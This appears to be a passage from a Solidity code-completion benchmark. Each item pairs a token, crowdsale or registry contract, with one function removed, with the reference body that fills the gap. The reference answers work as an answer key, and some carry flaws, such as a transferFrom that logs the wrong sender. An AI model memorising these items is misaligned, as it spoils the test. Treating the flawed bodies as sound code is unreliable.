_balances[sender] = _balances[sender].sub(transfAmount.add(taxAmount), "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(transfAmount);
_balances[_storeAddress] = _balances[_storeAddress].add(taxAmount);
emit Transfer(sender, recipient, transfAmount);
emit Transfer(sender, _storeAddress, taxAmount);
| function _transfer(address sender, address recipient, uint256 amount) internal virtual | /**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual |
33611 | ERC20 | transferFrom | contract ERC20 is ERC20Interface,SafeMath {
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) allowed;
constructor(string memory _name) public {
name = _name;
symbol = "Klin";
decimals = 18;
totalSupply = 2100000000000000000000000;
balanceOf[msg.sender] = totalSupply;
}
function transfer(address _to, uint256 _value) public returns (bool success) {
require(_to != address(0));
require(balanceOf[msg.sender] >= _value);
require(balanceOf[ _to] + _value >= balanceOf[ _to]);
balanceOf[msg.sender] =SafeMath.safeSub(balanceOf[msg.sender],_value) ;
balanceOf[_to] =SafeMath.safeAdd(balanceOf[_to] ,_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {<FILL_FUNCTION_BODY> }
function approve(address _spender, uint256 _value) public returns (bool success) {
require((_value==0)||(allowed[msg.sender][_spender]==0));
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
} | contract ERC20 is ERC20Interface,SafeMath {
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) allowed;
constructor(string memory _name) public {
name = _name;
symbol = "Klin";
decimals = 18;
totalSupply = 2100000000000000000000000;
balanceOf[msg.sender] = totalSupply;
}
function transfer(address _to, uint256 _value) public returns (bool success) {
require(_to != address(0));
require(balanceOf[msg.sender] >= _value);
require(balanceOf[ _to] + _value >= balanceOf[ _to]);
balanceOf[msg.sender] =SafeMath.safeSub(balanceOf[msg.sender],_value) ;
balanceOf[_to] =SafeMath.safeAdd(balanceOf[_to] ,_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
<FILL_FUNCTION>
function approve(address _spender, uint256 _value) public returns (bool success) {
require((_value==0)||(allowed[msg.sender][_spender]==0));
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
} |
require(_to != address(0));
require(allowed[_from][msg.sender] >= _value);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value >= balanceOf[_to]);
balanceOf[_from] =SafeMath.safeSub(balanceOf[_from],_value) ;
balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to],_value);
allowed[_from][msg.sender] =SafeMath.safeSub(allowed[_from][msg.sender], _value);
emit Transfer(msg.sender, _to, _value);
return true;
| function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) | function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) |
11172 | YK | transferFrom | contract YK{
uint256 constant private MAX_UINT256 = 2**256 - 1;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowed;
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
uint256 public totalSupply;
string public name; //fancy name: eg Simon Bucks
uint8 public decimals; //How many decimals to show.
string public symbol; //An identifier: eg SBX
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function YK() public {
balances[msg.sender] = 15000000000000; // Give the creator all initial tokens
totalSupply = 15000000000000; // Update total supply
name = "Yikang"; // Set the name for display purposes
decimals =4; // Amount of decimals for display purposes
symbol = "YK"; // Set the symbol for display purposes
}
function transfer(address _to, uint256 _value) public returns (bool success) {
require(balances[msg.sender] >= _value);
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {<FILL_FUNCTION_BODY> }
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
} | contract YK{
uint256 constant private MAX_UINT256 = 2**256 - 1;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowed;
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
uint256 public totalSupply;
string public name; //fancy name: eg Simon Bucks
uint8 public decimals; //How many decimals to show.
string public symbol; //An identifier: eg SBX
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function YK() public {
balances[msg.sender] = 15000000000000; // Give the creator all initial tokens
totalSupply = 15000000000000; // Update total supply
name = "Yikang"; // Set the name for display purposes
decimals =4; // Amount of decimals for display purposes
symbol = "YK"; // Set the symbol for display purposes
}
function transfer(address _to, uint256 _value) public returns (bool success) {
require(balances[msg.sender] >= _value);
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
}
<FILL_FUNCTION>
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
} |
uint256 allowance = allowed[_from][msg.sender];
require(balances[_from] >= _value && allowance >= _value);
balances[_to] += _value;
balances[_from] -= _value;
if (allowance < MAX_UINT256) {
allowed[_from][msg.sender] -= _value;
}
Transfer(_from, _to, _value);
return true;
| function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) | function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) |
77753 | Contributor | publishExtension | contract Contributor {
//=================Variables================
bool isInitiated = false;
//Addresses
address creatorAddress;
address contributorAddress;
address marketplaceAddress;
//State
string name;
uint creationTime;
bool isRepudiated = false;
//Publications
enum ExtensionType {MODULE, THEME}
struct Extension {
string name;
string version;
ExtensionType extType;
string moduleKey;
}
mapping (string => Extension) private publications;
//Modifiers
modifier onlyBy(address _account) {
require(msg.sender == _account);
_;
}
//Events
event newExtensionPublished (string _name, string _hash, string _version, ExtensionType _type, string _moduleKey);
//=================Transactions================
//Constructor
function Contributor(string _name, address _contributorAddress, address _marketplaceAddress) {
creatorAddress = msg.sender;
contributorAddress = _contributorAddress;
marketplaceAddress = _marketplaceAddress;
creationTime = now;
name = _name;
isInitiated = true;
}
//Publish a new extension in structure
function publishExtension(string _hash, string _name, string _version, ExtensionType _type, string _moduleKey)
onlyBy(creatorAddress) {<FILL_FUNCTION_BODY> }
//=================Calls================
//Check if the contract is initialised
function getInitiated() constant returns (bool) {
return isInitiated;
}
//Return basic information about the contract
function getInfos() constant returns (address, string, uint) {
return (creatorAddress, name, creationTime);
}
//Return information about a module
function getExtensionPublication(string _hash) constant returns (string, string, ExtensionType) {
return (publications[_hash].name, publications[_hash].version, publications[_hash].extType);
}
function haveExtension(string _hash) constant returns (bool) {
bool result = true;
if (bytes(publications[_hash].name).length == 0) {
result = false;
}
return result;
}
} | contract Contributor {
//=================Variables================
bool isInitiated = false;
//Addresses
address creatorAddress;
address contributorAddress;
address marketplaceAddress;
//State
string name;
uint creationTime;
bool isRepudiated = false;
//Publications
enum ExtensionType {MODULE, THEME}
struct Extension {
string name;
string version;
ExtensionType extType;
string moduleKey;
}
mapping (string => Extension) private publications;
//Modifiers
modifier onlyBy(address _account) {
require(msg.sender == _account);
_;
}
//Events
event newExtensionPublished (string _name, string _hash, string _version, ExtensionType _type, string _moduleKey);
//=================Transactions================
//Constructor
function Contributor(string _name, address _contributorAddress, address _marketplaceAddress) {
creatorAddress = msg.sender;
contributorAddress = _contributorAddress;
marketplaceAddress = _marketplaceAddress;
creationTime = now;
name = _name;
isInitiated = true;
}
<FILL_FUNCTION>
//=================Calls================
//Check if the contract is initialised
function getInitiated() constant returns (bool) {
return isInitiated;
}
//Return basic information about the contract
function getInfos() constant returns (address, string, uint) {
return (creatorAddress, name, creationTime);
}
//Return information about a module
function getExtensionPublication(string _hash) constant returns (string, string, ExtensionType) {
return (publications[_hash].name, publications[_hash].version, publications[_hash].extType);
}
function haveExtension(string _hash) constant returns (bool) {
bool result = true;
if (bytes(publications[_hash].name).length == 0) {
result = false;
}
return result;
}
} |
publications[_hash] = Extension(_name, _version, _type, _moduleKey);
newExtensionPublished(_name, _hash, _version, _type, _moduleKey);
| function publishExtension(string _hash, string _name, string _version, ExtensionType _type, string _moduleKey)
onlyBy(creatorAddress) | //Publish a new extension in structure
function publishExtension(string _hash, string _name, string _version, ExtensionType _type, string _moduleKey)
onlyBy(creatorAddress) |
67349 | RVTCoin | null | contract RVTCoin is StandardToken, Pausable {
string public constant name = 'Renvale Token';
string public constant symbol = 'RVT';
uint256 public constant decimals = 18;
address public rvDepositAddress;
uint256 public constant rvDeposit = 2000000000 * 10**decimals;
constructor(address _rvDepositAddress) public {<FILL_FUNCTION_BODY> }
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool success) {
return super.transfer(_to,_value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool success) {
return super.approve(_spender, _value);
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function burn(uint256 _value) public returns (bool success){
return super.burn(_value);
}
} | contract RVTCoin is StandardToken, Pausable {
string public constant name = 'Renvale Token';
string public constant symbol = 'RVT';
uint256 public constant decimals = 18;
address public rvDepositAddress;
uint256 public constant rvDeposit = 2000000000 * 10**decimals;
<FILL_FUNCTION>
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool success) {
return super.transfer(_to,_value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool success) {
return super.approve(_spender, _value);
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function burn(uint256 _value) public returns (bool success){
return super.burn(_value);
}
} |
rvDepositAddress = _rvDepositAddress;
balances[rvDepositAddress] = rvDeposit;
emit Transfer(0x0, rvDepositAddress, rvDeposit);
totalSupply_ = rvDeposit;
| constructor(address _rvDepositAddress) public | constructor(address _rvDepositAddress) public |
12964 | YUNToken | null | contract YUNToken is StandardERC20Token, Owned
{
address public vault;
address public wallet;
bool public isBurnable = true;
event FreezeAccount
(
address indexed target,
bool freezed
);
event WalletChanged
(
address indexed oldWallet,
address indexed newWallet
);
constructor
(
string tokenName,
string tokenSymbol,
uint256 initialSupply,
address _vault,
address _wallet
) StandardERC20Token(tokenName, tokenSymbol) public
{<FILL_FUNCTION_BODY> }
function freezeAccount(address target) onlyOwner public
{
require(target != owner);
frozen[target] = true;
emit FreezeAccount(target, true);
}
function unfreezeAccount(address target) onlyOwner public
{
frozen[target] = false;
emit FreezeAccount(target, false);
}
function setWallet(address newWallet) onlyOwner public
{
require(newWallet != address(0));
emit WalletChanged(wallet, newWallet);
wallet = newWallet;
}
function () public payable
{
wallet.transfer(msg.value);
}
function transferAnyERC20Token(address tokenAddress, uint tokens) onlyOwner public returns (bool success) {
return ERC20Interface(tokenAddress).transfer(vault, tokens);
}
} | contract YUNToken is StandardERC20Token, Owned
{
address public vault;
address public wallet;
bool public isBurnable = true;
event FreezeAccount
(
address indexed target,
bool freezed
);
event WalletChanged
(
address indexed oldWallet,
address indexed newWallet
);
<FILL_FUNCTION>
function freezeAccount(address target) onlyOwner public
{
require(target != owner);
frozen[target] = true;
emit FreezeAccount(target, true);
}
function unfreezeAccount(address target) onlyOwner public
{
frozen[target] = false;
emit FreezeAccount(target, false);
}
function setWallet(address newWallet) onlyOwner public
{
require(newWallet != address(0));
emit WalletChanged(wallet, newWallet);
wallet = newWallet;
}
function () public payable
{
wallet.transfer(msg.value);
}
function transferAnyERC20Token(address tokenAddress, uint tokens) onlyOwner public returns (bool success) {
return ERC20Interface(tokenAddress).transfer(vault, tokens);
}
} |
require(vault == address(0));
require(_vault != address(0));
totalSupply = initialSupply * 10 ** uint256(decimals);
vault = _vault;
wallet = _wallet;
balanceOfAddress[vault] = totalSupply;
| constructor
(
string tokenName,
string tokenSymbol,
uint256 initialSupply,
address _vault,
address _wallet
) StandardERC20Token(tokenName, tokenSymbol) public
| constructor
(
string tokenName,
string tokenSymbol,
uint256 initialSupply,
address _vault,
address _wallet
) StandardERC20Token(tokenName, tokenSymbol) public
|
13388 | PHICrowdsale | makeReferalBonus | contract PHICrowdsale is Ownable, Crowdsale, MintableToken {
using SafeMath for uint256;
uint256 public ratePreIco = 600;
uint256 public rateIco = 400;
uint256 public weiMin = 0.03 ether;
mapping (address => uint256) public deposited;
uint256 public constant INITIAL_SUPPLY = 63 * 10**6 * (10 ** uint256(decimals));
uint256 public fundForSale = 60250 * 10**3 * (10 ** uint256(decimals));
uint256 fundTeam = 150 * 10**3 * (10 ** uint256(decimals));
uint256 fundAirdropPreIco = 250 * 10**3 * (10 ** uint256(decimals));
uint256 fundAirdropIco = 150 * 10**3 * (10 ** uint256(decimals));
uint256 fundBounty = 100 * 10**3 * (10 ** uint256(decimals));
uint256 fundAdvisor = 210 * 10**3 * (10 ** uint256(decimals));
uint256 fundReferal = 1890 * 10**3 * (10 ** uint256(decimals));
uint256 limitPreIco = 12 * 10**5 * (10 ** uint256(decimals));
address addressFundTeam = 0x26cfc82A77ECc5a493D72757936A78A089FA592a;
address addressFundAirdropPreIco = 0x87953BAE7A92218FAcE2DDdb30AB2193263394Ef;
address addressFundAirdropIco = 0xaA8C9cA32cC8A6A7FF5eCB705787C22d9400F377;
address addressFundBounty = 0x253fBeb28dA7E85c720F66bbdCFC4D9418196EE5;
address addressFundAdvisor = 0x61eAEe13A2a3805b57B46571EE97B6faf95fC34d;
address addressFundReferal = 0x4BfB1bA71952DAC3886DCfECDdE2a4Fea2A06bDb;
uint256 public startTimePreIco = 1538406000; // Mon, 01 Oct 2018 15:00:00 GMT
uint256 public endTimePreIco = 1539129600; // Wed, 10 Oct 2018 00:00:00 GMT
uint256 public startTimeIco = 1541300400; // Sun, 04 Nov 2018 03:00:00 GMT
uint256 public endTimeIco = 1542931200; // Fri, 23 Nov 2018 00:00:00 GMT
uint256 percentReferal = 5;
uint256 public countInvestor;
event TokenPurchase(address indexed beneficiary, uint256 value, uint256 amount);
event TokenLimitReached(address indexed sender, uint256 tokenRaised, uint256 purchasedToken);
event MinWeiLimitReached(address indexed sender, uint256 weiAmount);
event Burn(address indexed burner, uint256 value);
event CurrentPeriod(uint period);
event ChangeTime(address indexed owner, uint256 newValue, uint256 oldValue);
event ChangeAddressFund(address indexed owner, address indexed newAddress, address indexed oldAddress);
constructor(address _owner, address _wallet) public
Crowdsale(_wallet)
{
require(_owner != address(0));
owner = _owner;
//owner = msg.sender; // $$$ for test's
transfersEnabled = false;
mintingFinished = false;
totalSupply = INITIAL_SUPPLY;
bool resultMintForOwner = mintForFund(owner);
require(resultMintForOwner);
}
// fallback function can be used to buy tokens
function() payable public {
buyTokens(msg.sender);
}
function buyTokens(address _investor) public payable returns (uint256){
require(_investor != address(0));
uint256 weiAmount = msg.value;
uint256 tokens = validPurchaseTokens(weiAmount);
if (tokens == 0) {revert();}
weiRaised = weiRaised.add(weiAmount);
tokenAllocated = tokenAllocated.add(tokens);
mint(_investor, tokens, owner);
makeReferalBonus(tokens);
emit TokenPurchase(_investor, weiAmount, tokens);
if (deposited[_investor] == 0) {
countInvestor = countInvestor.add(1);
}
deposit(_investor);
wallet.transfer(weiAmount);
return tokens;
}
function getTotalAmountOfTokens(uint256 _weiAmount) internal returns (uint256) {
uint256 currentDate = now;
//currentDate = 1538438400; // (02 Oct 2018) // $$$ for test's
//currentDate = 1540051200; // (20 Oct 2018) // $$$ for test's
uint currentPeriod = 0;
currentPeriod = getPeriod(currentDate);
uint256 amountOfTokens = 0;
if(currentPeriod > 0){
if(currentPeriod == 1){
amountOfTokens = _weiAmount.mul(ratePreIco);
if (tokenAllocated.add(amountOfTokens) > limitPreIco) {
currentPeriod = currentPeriod.add(1);
}
}
if(currentPeriod == 2){
amountOfTokens = _weiAmount.mul(rateIco);
}
}
emit CurrentPeriod(currentPeriod);
return amountOfTokens;
}
function getPeriod(uint256 _currentDate) public view returns (uint) {
if(_currentDate < startTimePreIco){
return 0;
}
if( startTimePreIco <= _currentDate && _currentDate <= endTimePreIco){
return 1;
}
if( endTimePreIco < _currentDate && _currentDate < startTimeIco){
return 0;
}
if( startTimeIco <= _currentDate && _currentDate <= endTimeIco){
return 2;
}
return 0;
}
function deposit(address investor) internal {
deposited[investor] = deposited[investor].add(msg.value);
}
function makeReferalBonus(uint256 _amountToken) internal returns(uint256 _refererTokens) {<FILL_FUNCTION_BODY> }
function bytesToAddress(bytes source) internal pure returns(address) {
uint result;
uint mul = 1;
for(uint i = 20; i > 0; i--) {
result += uint8(source[i-1])*mul;
mul = mul*256;
}
return address(result);
}
function mintForFund(address _walletOwner) internal returns (bool result) {
result = false;
require(_walletOwner != address(0));
balances[_walletOwner] = balances[_walletOwner].add(fundForSale);
balances[addressFundTeam] = balances[addressFundTeam].add(fundTeam);
balances[addressFundAirdropPreIco] = balances[addressFundAirdropPreIco].add(fundAirdropPreIco);
balances[addressFundAirdropIco] = balances[addressFundAirdropIco].add(fundAirdropIco);
balances[addressFundBounty] = balances[addressFundBounty].add(fundBounty);
balances[addressFundAdvisor] = balances[addressFundAdvisor].add(fundAdvisor);
balances[addressFundReferal] = balances[addressFundReferal].add(fundReferal);
result = true;
}
function getDeposited(address _investor) public view returns (uint256){
return deposited[_investor];
}
function validPurchaseTokens(uint256 _weiAmount) public returns (uint256) {
uint256 addTokens = getTotalAmountOfTokens(_weiAmount);
if (_weiAmount < weiMin) {
emit MinWeiLimitReached(msg.sender, _weiAmount);
return 0;
}
if (tokenAllocated.add(addTokens) > fundForSale) {
emit TokenLimitReached(msg.sender, tokenAllocated, addTokens);
return 0;
}
return addTokens;
}
/**
* @dev owner burn Token.
* @param _value amount of burnt tokens
*/
function ownerBurnToken(uint _value) public onlyOwner {
require(_value > 0);
require(_value <= balances[owner]);
require(_value <= totalSupply);
require(_value <= fundForSale);
balances[owner] = balances[owner].sub(_value);
totalSupply = totalSupply.sub(_value);
fundForSale = fundForSale.sub(_value);
emit Burn(msg.sender, _value);
}
/**
* @dev owner change time for startTimePreIco
* @param _value new time value
*/
function setStartTimePreIco(uint256 _value) public onlyOwner {
require(_value > 0);
uint256 _oldValue = startTimePreIco;
startTimePreIco = _value;
emit ChangeTime(msg.sender, _value, _oldValue);
}
/**
* @dev owner change time for endTimePreIco
* @param _value new time value
*/
function setEndTimePreIco(uint256 _value) public onlyOwner {
require(_value > 0);
uint256 _oldValue = endTimePreIco;
endTimePreIco = _value;
emit ChangeTime(msg.sender, _value, _oldValue);
}
/**
* @dev owner change time for startTimeIco
* @param _value new time value
*/
function setStartTimeIco(uint256 _value) public onlyOwner {
require(_value > 0);
uint256 _oldValue = startTimeIco;
startTimeIco = _value;
emit ChangeTime(msg.sender, _value, _oldValue);
}
/**
* @dev owner change time for endTimeIco
* @param _value new time value
*/
function setEndTimeIco(uint256 _value) public onlyOwner {
require(_value > 0);
uint256 _oldValue = endTimeIco;
endTimeIco = _value;
emit ChangeTime(msg.sender, _value, _oldValue);
}
/**
* @dev owner change address for FundReferal
* @param _newAddress new value of address
*/
function setAddressFundReferal(address _newAddress) public onlyOwner {
require(_newAddress != address(0));
address _oldAddress = addressFundReferal;
addressFundReferal = _newAddress;
emit ChangeAddressFund(msg.sender, _newAddress, _oldAddress);
}
function setWallet(address _newWallet) public onlyOwner {
require(_newWallet != address(0));
address _oldWallet = wallet;
wallet = _newWallet;
emit ChangeAddressFund(msg.sender, _newWallet, _oldWallet);
}
/**
* @dev Adds single address to whitelist.
* @param _payee Address to be added to the whitelist
*/
function addToWhitelist(address _payee) public onlyOwner {
whitelistPayee[_payee] = true;
}
/**
* @dev Removes single address from whitelist.
* @param _payee Address to be removed to the whitelist
*/
function removeFromWhitelist(address _payee) public onlyOwner {
whitelistPayee[_payee] = false;
}
function setTransferActive(bool _status) public onlyOwner {
transfersEnabled = _status;
}
} | contract PHICrowdsale is Ownable, Crowdsale, MintableToken {
using SafeMath for uint256;
uint256 public ratePreIco = 600;
uint256 public rateIco = 400;
uint256 public weiMin = 0.03 ether;
mapping (address => uint256) public deposited;
uint256 public constant INITIAL_SUPPLY = 63 * 10**6 * (10 ** uint256(decimals));
uint256 public fundForSale = 60250 * 10**3 * (10 ** uint256(decimals));
uint256 fundTeam = 150 * 10**3 * (10 ** uint256(decimals));
uint256 fundAirdropPreIco = 250 * 10**3 * (10 ** uint256(decimals));
uint256 fundAirdropIco = 150 * 10**3 * (10 ** uint256(decimals));
uint256 fundBounty = 100 * 10**3 * (10 ** uint256(decimals));
uint256 fundAdvisor = 210 * 10**3 * (10 ** uint256(decimals));
uint256 fundReferal = 1890 * 10**3 * (10 ** uint256(decimals));
uint256 limitPreIco = 12 * 10**5 * (10 ** uint256(decimals));
address addressFundTeam = 0x26cfc82A77ECc5a493D72757936A78A089FA592a;
address addressFundAirdropPreIco = 0x87953BAE7A92218FAcE2DDdb30AB2193263394Ef;
address addressFundAirdropIco = 0xaA8C9cA32cC8A6A7FF5eCB705787C22d9400F377;
address addressFundBounty = 0x253fBeb28dA7E85c720F66bbdCFC4D9418196EE5;
address addressFundAdvisor = 0x61eAEe13A2a3805b57B46571EE97B6faf95fC34d;
address addressFundReferal = 0x4BfB1bA71952DAC3886DCfECDdE2a4Fea2A06bDb;
uint256 public startTimePreIco = 1538406000; // Mon, 01 Oct 2018 15:00:00 GMT
uint256 public endTimePreIco = 1539129600; // Wed, 10 Oct 2018 00:00:00 GMT
uint256 public startTimeIco = 1541300400; // Sun, 04 Nov 2018 03:00:00 GMT
uint256 public endTimeIco = 1542931200; // Fri, 23 Nov 2018 00:00:00 GMT
uint256 percentReferal = 5;
uint256 public countInvestor;
event TokenPurchase(address indexed beneficiary, uint256 value, uint256 amount);
event TokenLimitReached(address indexed sender, uint256 tokenRaised, uint256 purchasedToken);
event MinWeiLimitReached(address indexed sender, uint256 weiAmount);
event Burn(address indexed burner, uint256 value);
event CurrentPeriod(uint period);
event ChangeTime(address indexed owner, uint256 newValue, uint256 oldValue);
event ChangeAddressFund(address indexed owner, address indexed newAddress, address indexed oldAddress);
constructor(address _owner, address _wallet) public
Crowdsale(_wallet)
{
require(_owner != address(0));
owner = _owner;
//owner = msg.sender; // $$$ for test's
transfersEnabled = false;
mintingFinished = false;
totalSupply = INITIAL_SUPPLY;
bool resultMintForOwner = mintForFund(owner);
require(resultMintForOwner);
}
// fallback function can be used to buy tokens
function() payable public {
buyTokens(msg.sender);
}
function buyTokens(address _investor) public payable returns (uint256){
require(_investor != address(0));
uint256 weiAmount = msg.value;
uint256 tokens = validPurchaseTokens(weiAmount);
if (tokens == 0) {revert();}
weiRaised = weiRaised.add(weiAmount);
tokenAllocated = tokenAllocated.add(tokens);
mint(_investor, tokens, owner);
makeReferalBonus(tokens);
emit TokenPurchase(_investor, weiAmount, tokens);
if (deposited[_investor] == 0) {
countInvestor = countInvestor.add(1);
}
deposit(_investor);
wallet.transfer(weiAmount);
return tokens;
}
function getTotalAmountOfTokens(uint256 _weiAmount) internal returns (uint256) {
uint256 currentDate = now;
//currentDate = 1538438400; // (02 Oct 2018) // $$$ for test's
//currentDate = 1540051200; // (20 Oct 2018) // $$$ for test's
uint currentPeriod = 0;
currentPeriod = getPeriod(currentDate);
uint256 amountOfTokens = 0;
if(currentPeriod > 0){
if(currentPeriod == 1){
amountOfTokens = _weiAmount.mul(ratePreIco);
if (tokenAllocated.add(amountOfTokens) > limitPreIco) {
currentPeriod = currentPeriod.add(1);
}
}
if(currentPeriod == 2){
amountOfTokens = _weiAmount.mul(rateIco);
}
}
emit CurrentPeriod(currentPeriod);
return amountOfTokens;
}
function getPeriod(uint256 _currentDate) public view returns (uint) {
if(_currentDate < startTimePreIco){
return 0;
}
if( startTimePreIco <= _currentDate && _currentDate <= endTimePreIco){
return 1;
}
if( endTimePreIco < _currentDate && _currentDate < startTimeIco){
return 0;
}
if( startTimeIco <= _currentDate && _currentDate <= endTimeIco){
return 2;
}
return 0;
}
function deposit(address investor) internal {
deposited[investor] = deposited[investor].add(msg.value);
}
<FILL_FUNCTION>
function bytesToAddress(bytes source) internal pure returns(address) {
uint result;
uint mul = 1;
for(uint i = 20; i > 0; i--) {
result += uint8(source[i-1])*mul;
mul = mul*256;
}
return address(result);
}
function mintForFund(address _walletOwner) internal returns (bool result) {
result = false;
require(_walletOwner != address(0));
balances[_walletOwner] = balances[_walletOwner].add(fundForSale);
balances[addressFundTeam] = balances[addressFundTeam].add(fundTeam);
balances[addressFundAirdropPreIco] = balances[addressFundAirdropPreIco].add(fundAirdropPreIco);
balances[addressFundAirdropIco] = balances[addressFundAirdropIco].add(fundAirdropIco);
balances[addressFundBounty] = balances[addressFundBounty].add(fundBounty);
balances[addressFundAdvisor] = balances[addressFundAdvisor].add(fundAdvisor);
balances[addressFundReferal] = balances[addressFundReferal].add(fundReferal);
result = true;
}
function getDeposited(address _investor) public view returns (uint256){
return deposited[_investor];
}
function validPurchaseTokens(uint256 _weiAmount) public returns (uint256) {
uint256 addTokens = getTotalAmountOfTokens(_weiAmount);
if (_weiAmount < weiMin) {
emit MinWeiLimitReached(msg.sender, _weiAmount);
return 0;
}
if (tokenAllocated.add(addTokens) > fundForSale) {
emit TokenLimitReached(msg.sender, tokenAllocated, addTokens);
return 0;
}
return addTokens;
}
/**
* @dev owner burn Token.
* @param _value amount of burnt tokens
*/
function ownerBurnToken(uint _value) public onlyOwner {
require(_value > 0);
require(_value <= balances[owner]);
require(_value <= totalSupply);
require(_value <= fundForSale);
balances[owner] = balances[owner].sub(_value);
totalSupply = totalSupply.sub(_value);
fundForSale = fundForSale.sub(_value);
emit Burn(msg.sender, _value);
}
/**
* @dev owner change time for startTimePreIco
* @param _value new time value
*/
function setStartTimePreIco(uint256 _value) public onlyOwner {
require(_value > 0);
uint256 _oldValue = startTimePreIco;
startTimePreIco = _value;
emit ChangeTime(msg.sender, _value, _oldValue);
}
/**
* @dev owner change time for endTimePreIco
* @param _value new time value
*/
function setEndTimePreIco(uint256 _value) public onlyOwner {
require(_value > 0);
uint256 _oldValue = endTimePreIco;
endTimePreIco = _value;
emit ChangeTime(msg.sender, _value, _oldValue);
}
/**
* @dev owner change time for startTimeIco
* @param _value new time value
*/
function setStartTimeIco(uint256 _value) public onlyOwner {
require(_value > 0);
uint256 _oldValue = startTimeIco;
startTimeIco = _value;
emit ChangeTime(msg.sender, _value, _oldValue);
}
/**
* @dev owner change time for endTimeIco
* @param _value new time value
*/
function setEndTimeIco(uint256 _value) public onlyOwner {
require(_value > 0);
uint256 _oldValue = endTimeIco;
endTimeIco = _value;
emit ChangeTime(msg.sender, _value, _oldValue);
}
/**
* @dev owner change address for FundReferal
* @param _newAddress new value of address
*/
function setAddressFundReferal(address _newAddress) public onlyOwner {
require(_newAddress != address(0));
address _oldAddress = addressFundReferal;
addressFundReferal = _newAddress;
emit ChangeAddressFund(msg.sender, _newAddress, _oldAddress);
}
function setWallet(address _newWallet) public onlyOwner {
require(_newWallet != address(0));
address _oldWallet = wallet;
wallet = _newWallet;
emit ChangeAddressFund(msg.sender, _newWallet, _oldWallet);
}
/**
* @dev Adds single address to whitelist.
* @param _payee Address to be added to the whitelist
*/
function addToWhitelist(address _payee) public onlyOwner {
whitelistPayee[_payee] = true;
}
/**
* @dev Removes single address from whitelist.
* @param _payee Address to be removed to the whitelist
*/
function removeFromWhitelist(address _payee) public onlyOwner {
whitelistPayee[_payee] = false;
}
function setTransferActive(bool _status) public onlyOwner {
transfersEnabled = _status;
}
} |
_refererTokens = 0;
if(msg.data.length == 20) {
address referer = bytesToAddress(bytes(msg.data));
require(referer != msg.sender);
_refererTokens = _amountToken.mul(percentReferal).div(100);
if(balanceOf(addressFundReferal) >= _refererTokens.mul(2)) {
mint(referer, _refererTokens, addressFundReferal);
mint(msg.sender, _refererTokens, addressFundReferal);
}
}
| function makeReferalBonus(uint256 _amountToken) internal returns(uint256 _refererTokens) | function makeReferalBonus(uint256 _amountToken) internal returns(uint256 _refererTokens) |
85977 | CollateralJoin1 | null | contract CollateralJoin1 {
// --- Auth ---
mapping (address => uint) public authorizedAccounts;
/**
* @notice Add auth to an account
* @param account Account to add auth to
*/
function addAuthorization(address account) external isAuthorized {
authorizedAccounts[account] = 1;
emit AddAuthorization(account);
}
/**
* @notice Remove auth from an account
* @param account Account to remove auth from
*/
function removeAuthorization(address account) external isAuthorized {
authorizedAccounts[account] = 0;
emit RemoveAuthorization(account);
}
/**
* @notice Checks whether msg.sender can call an authed function
**/
modifier isAuthorized {
require(authorizedAccounts[msg.sender] == 1, "CollateralJoin1/account-not-authorized");
_;
}
SAFEEngineLike public safeEngine;
bytes32 public collateralType;
CollateralLike public collateral;
uint public decimals;
uint public contractEnabled; // Access Flag
// --- Events ---
event AddAuthorization(address account);
event RemoveAuthorization(address account);
